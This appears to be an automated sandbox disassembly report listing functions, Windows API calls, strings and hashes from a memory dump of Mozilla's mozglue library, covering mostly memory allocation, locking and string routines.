API String ID: 145871493-3641475894
Opcode ID: 6aae706473c0560f1107f09c9691f178758e5082f329ac66c0a7a298924ed0e6
Instruction ID: d9e4f6ef176e6d883bb66820357a97321187293a0c6fba311f2c4b7354eb3351
Opcode Fuzzy Hash: 6aae706473c0560f1107f09c9691f178758e5082f329ac66c0a7a298924ed0e6
Instruction Fuzzy Hash: 20E0B671600302ABEF006FE6CD487817EF9EB46259F128625A925D6681EBB0B042CF1C

Function 6C5B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5B7592), ref: 6C5B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C5B7627
FreeLibrary.KERNEL32(?,6C5B7592), ref: 6C5B763C

Strings

NtUnmapViewOfSection, xrefs: 6C5B7621
ntdll.dll, xrefs: 6C5B7603

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 2a499774d7b489d75c2f7d3cc8e4a9347f672736ccf9c683182837a46f3a2022
Instruction ID: 218c92eeaa888757429c39dc9897fad5e7046d3c8edacdad346d18bb10f4ce20
Opcode Fuzzy Hash: 2a499774d7b489d75c2f7d3cc8e4a9347f672736ccf9c683182837a46f3a2022
Instruction Fuzzy Hash: 48E0B6B0600342ABDF006FAADC087857EB9EB1A399F024615E905D2740EBB0B0048F1C

Function 6C5BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C5BBE49), ref: 6C5BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C5BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C5BBE49), ref: 6C5BBF38
RtlReAllocateHeap.NTDLL ref: 6C5BBF83
RtlFreeHeap.NTDLL(6C5BBE49,00000000), ref: 6C5BBFA6

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 11da76a4447743934bdc4d17996081f34efafddac16a970529865b176bf80e54
Instruction ID: ced51035ff597901b583589e700fd4f926d67ef5f35d6cef46c59500c38d3232
Opcode Fuzzy Hash: 11da76a4447743934bdc4d17996081f34efafddac16a970529865b176bf80e54
Instruction Fuzzy Hash: 82519C71A002058FE714DF69CCD0BAABBA2FFC8314F294629D555A7B94D770F9068B81

Function 6C5A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?,6C5CD734), ref: 6C5A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?,6C5CD734), ref: 6C5A8EBF
free.MOZGLUE(?,?,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?), ref: 6C5A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?,6C5CD734), ref: 6C5A8F46
free.MOZGLUE(?,?,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?), ref: 6C5A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C59B58D,?,?,?,?,?,?,?,6C5CD734,?,?,?), ref: 6C5A8F8F

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 297b101fca2780796abd7e4e2f47ddaa40299daa1f6ccc47cd29f21d5dbe1084
Instruction ID: ade87fc7c90bb9c14684877bd721e6c1aff6ea87f509d36b94dfc62fe199d47f
Opcode Fuzzy Hash: 297b101fca2780796abd7e4e2f47ddaa40299daa1f6ccc47cd29f21d5dbe1084
Instruction Fuzzy Hash: B251A3B1A012568FEB14CF94DC8076EB7B2FF48318F15056AD916AB740E731F946CB92

Function 6C5A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A289A
free.MOZGLUE(?,?,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A2910
free.MOZGLUE(00000001,?,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C5A2620,?,?,?,6C5960AA,6C595FCB,6C5979A3), ref: 6C5A294E

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b231a1e92f58ca21759af6acc5d8b8a71ace4bb0bd738cb70913b0307f3f94f4
Instruction ID: b7d3e248b37b307ccd563fd503f3741f956bdcfde302d1aa8502f58c26352b28
Opcode Fuzzy Hash: b231a1e92f58ca21759af6acc5d8b8a71ace4bb0bd738cb70913b0307f3f94f4
Instruction Fuzzy Hash: 4D41F1B1A003068FEB14CFAADC8536E73F5AB44708F144828D91AEB700E731E945CB56

Function 6C55CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C55CFF6
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C55D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C55D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C55D139

Strings

MOZ_CRASH(), xrefs: 6C55D187

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 58fbc6360027c482490bbbd29c3de2e1339bb137c4dfab78dbca795f04af63d0
Instruction ID: 31e92444a72ab17b7a2d06e78c3d9512335cc75475f5ee66323d42386ad4a0d9
Opcode Fuzzy Hash: 58fbc6360027c482490bbbd29c3de2e1339bb137c4dfab78dbca795f04af63d0
Instruction Fuzzy Hash: 6B41E472B013168FDB44CE7C8D9136AB6B1EB49714F56023AE918E7784E7B1AC008BCD

Function 6C554DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C554E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C554E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C554EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C554F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C554F1E

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 0f8ebba320335b55828a049b455cbe9a36340ff86d9b275c53e079fb33b9c82b
Instruction ID: 34972fa14b7674e0bcd1f00d27664425adf1777b24ba6503b7085a4e8183bcb7
Opcode Fuzzy Hash: 0f8ebba320335b55828a049b455cbe9a36340ff86d9b275c53e079fb33b9c82b
Instruction Fuzzy Hash: 6C41AA716087019FC705CF69C88095BBBE4BF89344F508A2EF96697B41DB31E978CB92

Function 6C561530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C56159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C5615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C5615E7
free.MOZGLUE(?,?,?,?,?,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C561606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C56152B,?,?,?,?,6C561248,?), ref: 6C561637

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 720bc3ceb9ab4723e8984beaf970c8990a7fdd410889cbb71ca1841a33bd3359
Instruction ID: 0844a75f565d180a16134438e0cde0b8ef4ae5ab5838f29ad6f45fd4095f1ea7
Opcode Fuzzy Hash: 720bc3ceb9ab4723e8984beaf970c8990a7fdd410889cbb71ca1841a33bd3359
Instruction Fuzzy Hash: 5431C771A001148BCB14CE7DDC5147FB6A9EB913647250B6DE423DBFE4EB30D9148792

Function 6C5BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BAD9D

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C5CE330,?,6C57C059), ref: 6C5BAE3D

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c09f56a43b8925701b331f48436a34a95b1a8708a5ba15bf6c75adeeef246e51
Instruction ID: a2e0274a724d76b0aa2e3ff2d790bc88f9c8cc3ac4765e5115a7b1245b536fe5
Opcode Fuzzy Hash: c09f56a43b8925701b331f48436a34a95b1a8708a5ba15bf6c75adeeef246e51
Instruction Fuzzy Hash: 3C3152B1A003159FDB10DF798C54AABBBF8EF88614F55482DE84AE7700E734E804CBA5

Function 6C5B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C5CDCA0,?,?,?,6C58E8B5,00000000), ref: 6C5B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C58E8B5,00000000), ref: 6C5B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C58E8B5,00000000), ref: 6C5B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C58E8B5,00000000), ref: 6C5B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C58E8B5,00000000), ref: 6C5B5FD6

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 308b37f5079e37f2b048cc88b9cf93904892ba367c6ffa450a32ebc143a1bfd0
Instruction ID: 9f3b79f1ece67a087b8745f719b7b05d0c65b3469b4e722ba332acce6c949561
Opcode Fuzzy Hash: 308b37f5079e37f2b048cc88b9cf93904892ba367c6ffa450a32ebc143a1bfd0
Instruction Fuzzy Hash: 17313A743006008FD715DF29CCA8E2ABBF6FF89318BA54958E5568BB95CB31EC41CB80

Function 6C55B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C55B532
moz_xmalloc.MOZGLUE(?), ref: 6C55B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C55B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C55B57E
free.MOZGLUE(00000000), ref: 6C55B58F

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 137202aa618624127015ff8092465be994562ad7aa0853d8c022fedefe59d98f
Instruction ID: 41f4e03a9d63f677a83c855489ea670f80b6f8b188f076c8a1019eff23fd2240
Opcode Fuzzy Hash: 137202aa618624127015ff8092465be994562ad7aa0853d8c022fedefe59d98f
Instruction Fuzzy Hash: 4121F671A002059BDB00DF68CC44BAABBB9FF86304F68412AE818DB342F735D921C7A1

Function 6C55B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C55B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C55B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C55B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C55B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55B849

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 5c03e9ea49ebdb6d44bcd8d53aaab5f9ddca6725758f450436aad8199e782642
Instruction ID: cd77551635acda0a10451c9230e7946e30859d4eb5ba8c0b6544ad5fb1b8ddf2
Opcode Fuzzy Hash: 5c03e9ea49ebdb6d44bcd8d53aaab5f9ddca6725758f450436aad8199e782642
Instruction Fuzzy Hash: 43212AB4E002099FDF04DFA9C8855BEBBB4EF49314F14812AEC06A7341E731A954CBA5

Function 6C5B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5B6E78

Part of subcall function 6C5B6A10: InitializeCriticalSection.KERNEL32(6C5DF618), ref: 6C5B6A68
Part of subcall function 6C5B6A10: GetCurrentProcess.KERNEL32 ref: 6C5B6A7D
Part of subcall function 6C5B6A10: GetCurrentProcess.KERNEL32 ref: 6C5B6AA1
Part of subcall function 6C5B6A10: EnterCriticalSection.KERNEL32(6C5DF618), ref: 6C5B6AAE
Part of subcall function 6C5B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5B6AE1
Part of subcall function 6C5B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5B6B15
Part of subcall function 6C5B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C5B6B65
Part of subcall function 6C5B6A10: LeaveCriticalSection.KERNEL32(6C5DF618,?,?), ref: 6C5B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C5B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C5B6EFF

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 704eab1c2d57a721561c556ce5dd3608e58e401f3960259d98bf4ad2b7976564
Instruction ID: 7ece13ba1c93d8b80e69778cffca5f1377a96ceaa7ef620351c517ef944e033b
Opcode Fuzzy Hash: 704eab1c2d57a721561c556ce5dd3608e58e401f3960259d98bf4ad2b7976564
Instruction Fuzzy Hash: 9C21A471A0431A9FDF04DF69DC8569A7BF5EF84308F044039E809A7241EB70AA58CF96

Function 6C590D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C553DEF), ref: 6C590D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C553DEF), ref: 6C590D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C553DEF), ref: 6C590DAF

Strings

<jemalloc>, xrefs: 6C590D92, 6C590DB9
: (malloc) Error in VirtualFree(), xrefs: 6C590D97, 6C590DBE

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 27a15e9169872607fdfac20b533ebc4ba6196d4abfb0d771ecbe63958bbf5bb1
Instruction ID: c62c527d8510902298b1b95915bd3987884f890535ebe65de56dd2b88022c8c5
Opcode Fuzzy Hash: 27a15e9169872607fdfac20b533ebc4ba6196d4abfb0d771ecbe63958bbf5bb1
Instruction Fuzzy Hash: 54F02E313803D563E620626A0C0AF5B269FA7C6B24F354877F744DF9C0DB60F80086AD

Function 6C5B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C5B586C
CloseHandle.KERNEL32 ref: 6C5B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5B58C9
free.MOZGLUE(00000000), ref: 6C5B58D3

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 42f7878f283442afdc398605438242fb34d9964ecafdff47fc129c73d78de284
Instruction ID: 7353be4dc25e371666e74133dc2b4f36ff74fe69751f12940fadd3ec7873bef5
Opcode Fuzzy Hash: 42f7878f283442afdc398605438242fb34d9964ecafdff47fc129c73d78de284
Instruction Fuzzy Hash: BB016D71714301ABDF01EF2ADC08A067BB9EF833297664376E41AD2212D731B9148F8D

Function 6C5A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5A75C4,?), ref: 6C5A762B

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5A74D7,6C5B15FC,?,?,?), ref: 6C5A7644
GetCurrentThreadId.KERNEL32 ref: 6C5A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5A74D7,6C5B15FC,?,?,?), ref: 6C5A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5A74D7,6C5B15FC,?,?,?), ref: 6C5A7677

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: a66d1ff5e840476784858498c8b8466d23e2643596359ed951123295fcd24983
Instruction ID: 0248fae42db90d8e9359eb6a68f63eb6eb28a2a513a6b029093d4803de93d4a1
Opcode Fuzzy Hash: a66d1ff5e840476784858498c8b8466d23e2643596359ed951123295fcd24983
Instruction Fuzzy Hash: 3FF0AF71E10786ABD700AF22CC88676B779FFEA259F22431AF90443601E7B1B5D08BD5

Function 6C5B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5B1800

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

